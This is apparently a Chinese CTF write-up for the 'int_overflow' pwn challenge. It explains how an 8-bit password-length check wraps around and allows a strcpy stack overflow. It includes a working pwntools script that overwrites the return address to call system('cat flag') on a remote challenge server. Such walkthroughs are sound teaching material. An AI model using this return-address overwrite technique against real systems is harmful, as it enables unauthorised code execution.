pwn int_overflow

32位程序,拖进ida看一下
在这里插入图片描述
首先,我们要输入1进入login()

在这里插入图片描述
输入username后再输入passwd,注意这里passwd允许我们输入的长度为0x199
再点进check_passwd
在这里插入图片描述
这里用v3来保存我们输入的passwd的长度,但是,这个v3是unsigned int8型的,8个字节,只能存储不超过256的数,如果超过会重新从1开始计算,这样的话,对于1个字符和257个字符,v3的的值都是一样的,我们可以利用这点进行溢出
result=strcpy(&dest,s)将s复制到dest,dest在ebp-14h,我们就可以输入一个长度为259到264之间的passwd,使得v3大于3且小于8,并在strcpy时进行溢出
同时,这里有system(“cat flag”),地址是0x0804868b,这不就好起来了吗
在这里插入图片描述

from pwn import *

sh=remote('111.198.29.45',31562)
#填充垃圾字符,返回what is this 地址,最后保持passwd长度在259和264间
payload='a'*0x14+'a'*4+p32(0x0804868b)+(256-0x18-4)*'a'+'bbbb'
sh.sendlineafter("Your choice:","1")
sh.sendlineafter("Please input your username:","james")
sh.sendlineafter("Please input your passwd:",payload)
sh.interactive()

拿到flag:cyberpeace{8ce8a8dbf55662d1c2ef0b0fa55c8ada}

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值